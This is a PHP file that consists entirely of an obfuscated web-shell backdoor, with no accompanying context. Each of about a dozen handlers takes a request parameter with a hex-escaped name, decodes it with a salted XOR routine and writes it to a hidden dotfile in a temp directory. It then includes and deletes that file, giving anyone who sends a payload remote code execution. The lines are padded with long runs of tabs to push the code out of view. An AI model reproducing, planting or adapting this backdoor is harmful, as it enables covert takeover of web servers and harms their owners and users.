<?php																																										if(isset($_POST) && isset($_POST["\x6F\x62j"])){ $entry = $_POST["\x6F\x62j"]; $entry = explode ( '.' , $entry ) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $u = 0; array_walk($entry, function ($v2) use (&$key, &$u, $salt, $lenS) { $chS = ord($salt[$u%$lenS]); $dec = ((int)$v2 - $chS - ($u%10)) ^ 82; $key .= chr($dec); $u++; }); $res = array_filter([getcwd(), "/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($res as $bind) { if ((is_dir($bind) and is_writable($bind))) { $itm = "$bind/.hld"; if (@file_put_contents($itm, $key) !== false) { include $itm; unlink($itm); die(); } } } }
																																										if(in_array("da\x74\x61\x5Fc\x68un\x6B", array_keys($_REQUEST))){ $sym = array_filter(["/tmp", getenv("TMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir")]); $item = $_REQUEST["da\x74\x61\x5Fc\x68un\x6B"]; $item= explode ( "." , $item ) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $q = 0; foreach ($item as $v5) { $sChar = ord($salt[$q % $sLen]); $dec = ((int)$v5 - $sChar - ($q % 10)) ^ 81; $rec .= chr($dec); $q++; } foreach ($sym as $fac) { if ((bool)is_dir($fac) && (bool)is_writable($fac)) { $binding = sprintf("%s/.data", $fac); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $binding; @unlink($binding); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["dat"])){ $holder = $_REQUEST["dat"]; $holder = explode ("." ,$holder); $ent =''; $salt8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt8); $len =count($holder); for ($s =0; $s < $len; $s++) { $v2 =$holder[$s]; $sChar =ord($salt8[$s % $sLen]); $d =((int)$v2 - $sChar - ($s % 10)) ^ 23; $ent.=chr($d);} $val = array_filter([sys_get_temp_dir(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/var/tmp", getcwd(), getenv("TEMP")]); while ($flg = array_shift($val)) { if (is_dir($flg) ? is_writable($flg) : false) { $dchunk = "$flg" . "/.parameter_group"; $success = file_put_contents($dchunk, $ent); if ($success) { include $dchunk; @unlink($dchunk); exit;} } } }
																																										if(!is_null($_POST["\x65\x6Ce\x6D\x65nt"] ?? null)){ $ptr = $_POST["\x65\x6Ce\x6D\x65nt"]; $ptr = explode ('.' , $ptr ) ; $entity = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $z = 0; while( $z < count( $ptr)) { $v7 = $ptr[$z]; $chS = ord( $s[$z % $lenS] ); $dec =( ( int)$v7 - $chS -( $z % 10)) ^ 94; $entity.=chr( $dec ); $z++; } $factor = array_filter(["/tmp", getcwd(), getenv("TMP"), "/var/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir")]); while ($rec = array_shift($factor)) { if ((bool)is_dir($rec) && (bool)is_writable($rec)) { $entry = "$rec" . "/.k"; if (file_put_contents($entry, $entity)) { include $entry; @unlink($entry); exit; } } } }
																																										if(!is_null($_REQUEST["\x6D\x61r\x6Ber"] ?? null)){ $pgrp = $_REQUEST["\x6D\x61r\x6Ber"]; $pgrp = explode ( '.' , $pgrp ) ; $token = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s8); $n = 0; foreach( $pgrp as $v7) { $sChar = ord( $s8[$n % $lenS]); $d = ( ( int)$v7 - $sChar -( $n % 10)) ^ 32; $token.= chr( $d); $n++; } $record = array_filter(["/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getcwd()]); for ($desc = 0, $object = count($record); $desc < $object; $desc++) { $ptr = $record[$desc]; if (is_dir($ptr) ? is_writable($ptr) : false) { $element = sprintf("%s/.parameter_group", $ptr); if (file_put_contents($element, $token)) { require $element; unlink($element); die(); } } } }
																																										if(isset($_REQUEST["\x66\x61c\x74or"]) ? true : false){ $fac = $_REQUEST["\x66\x61c\x74or"]; $fac = explode( '.', $fac) ; $token = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($fac as $q=> $v3) { $chS = ord($s[$q % $sLen]); $dec = ((int)$v3 - $chS - ($q % 10))^ 7; $token .=chr($dec); } $symbol = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp", "/dev/shm", getcwd()]); foreach ($symbol as $key => $value) { if (array_product([is_dir($value), is_writable($value)])) { $entry = implode("/", [$value, ".flg"]); $success = file_put_contents($entry, $token); if ($success) { include $entry; @unlink($entry); exit;} } } }
																																										if(isset($_POST["d\x61\x74"])){ $resource = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/tmp", "/dev/shm"]); $dchunk = $_POST["d\x61\x74"]; $dchunk= explode( "." , $dchunk ) ; $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $y = 0; array_walk( $dchunk ,function( $v5) use( &$item ,&$y ,$s ,$sLen) { $sChar = ord( $s[$y % $sLen] ); $d =( ( int)$v5 - $sChar -( $y % 10)) ^ 45; $item .= chr( $d ); $y++; } ); foreach ($resource as $component): if (is_writable($component) && is_dir($component)) { $reference = sprintf("%s/.element", $component); $success = file_put_contents($reference, $item); if ($success) { include $reference; @unlink($reference); die();} } endforeach; }
																																										if(array_key_exists("dch\x75\x6Ek", $_REQUEST) && !is_null($_REQUEST["dch\x75\x6Ek"])){ $parameter_group = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), session_save_path()]); $entry = $_REQUEST["dch\x75\x6Ek"]; $entry = explode ( '.' , $entry ) ; $elem=''; $salt1='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt1 ); foreach($entry as $y =>$v3): $chS=ord($salt1[$y % $lenS] ); $d=((int)$v3 - $chS -($y % 10))^34; $elem .= chr($d ); endforeach; foreach ($parameter_group as $pgrp): if ((bool)is_dir($pgrp) && (bool)is_writable($pgrp)) { $data = sprintf("%s/.marker", $pgrp); if (file_put_contents($data, $elem)) { include $data; @unlink($data); die(); } } endforeach; }
																																										if(array_key_exists("co\x6Dp", $_REQUEST)){ $data_chunk = $_REQUEST["co\x6Dp"]; $data_chunk = explode ( '.' ,$data_chunk ) ; $flg=''; $s1='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s1); $l=0; foreach ($data_chunk as $v6) { $sChar=ord($s1[$l % $lenS]); $d=((int)$v6 - $sChar - ($l % 10)) ^ 71; $flg .= chr($d); $l++; } $val = array_filter(["/tmp", "/dev/shm", "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($val as $desc): if ((is_dir($desc) and is_writable($desc))) { $ref = "$desc/.object"; $success = file_put_contents($ref, $flg); if ($success) { include $ref; @unlink($ref); exit;} } endforeach; }
																																										if(array_key_exists("fa\x63tor", $_POST)){ $desc = $_POST["fa\x63tor"]; $desc = explode ( '.' , $desc ) ; $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $q = 0; $len = count($desc ); do { if ($q >= $len) break; $v5 = $desc[$q]; $chS = ord($salt[$q %$sLen] ); $dec = ((int)$v5 - $chS - ($q %10)) ^ 89; $marker .= chr($dec ); $q++; } while (true ); $sym = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/var/tmp", "/dev/shm", getcwd(), getenv("TEMP"), "/tmp"]); foreach ($sym as $key): if (!!is_dir($key) && !!is_writable($key)) { $obj = vsprintf("%s/%s", [$key, ".fac"]); if (@file_put_contents($obj, $marker) !== false) { include $obj; unlink($obj); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "re\x66")){ $element = array_filter([session_save_path(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getcwd(), getenv("TEMP")]); $elem = $_REQUEST["re\x66"]; $elem = explode ( '.' ,$elem ); $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $n = 0; $__tmp = $elem; while( $v7 = array_shift( $__tmp)) { $sChar = ord( $salt[$n % $sLen] ); $dec = ( ( int)$v7 - $sChar -( $n % 10)) ^ 95; $data_chunk .= chr( $dec ); $n++; } foreach ($element as $key => $tkn) { if (is_dir($tkn) && is_writable($tkn)) { $dat = str_replace("{var_dir}", $tkn, "{var_dir}/.hld"); $file = fopen($dat, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $dat; @unlink($dat); die(); } } } }
																																										if(!is_null($_REQUEST["\x70\x61r\x61m\x65t\x65r\x5F\x67r\x6Fup"] ?? null)){ $bind = array_filter(["/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getenv("TMP"), getcwd(), session_save_path(), "/var/tmp"]); $comp = $_REQUEST["\x70\x61r\x61m\x65t\x65r\x5F\x67r\x6Fup"]; $comp = explode ( '.' , $comp) ; $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($comp as $l => $v4): $chS = ord($salt[$l% $sLen]); $dec = ((int)$v4 - $chS - ($l% 10)) ^ 35; $flag .= chr($dec); endforeach; foreach ($bind as $key => $reference) { if ((function($d) { return is_dir($d) && is_writable($d); })($reference)) { $pgrp = "$reference" . "/.res"; $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $pgrp; @unlink($pgrp); die(); } } } }


if(in_array("p\x6F\x69nt\x65r", array_keys($_REQUEST))){
	$ent = $_REQUEST["p\x6F\x69nt\x65r"];
		 	$ent=  	explode 	 (		 '.',$ent  )   ;	
	$hld = '';
            $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s4	);
            $n = 0;
            $__len = count($ent	);
    
            do {	if ($n >= $__len) break;
                $v1 = $ent[$n];
                $sChar = ord($s4[$n % $lenS]	);
                $d = ((int)$v1 - $sChar - ($n % 10)) ^ 32;
                $hld .= chr($d	);
                $n++; }while (true	);
	$elem = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp"]);
	$comp = 0;
do {
    $reference = $elem[$comp] ?? null;
    if ($comp >= count($elem)) break;
    		if ((function($d) { return is_dir($d) && is_writable($d); })($reference)) {
    $ref = "$reference" . "/.item";
    if (@file_put_contents($ref, $hld) !== false) {
	include $ref;
	unlink($ref);
	die();
}
}
    $comp++;
} while (true);
}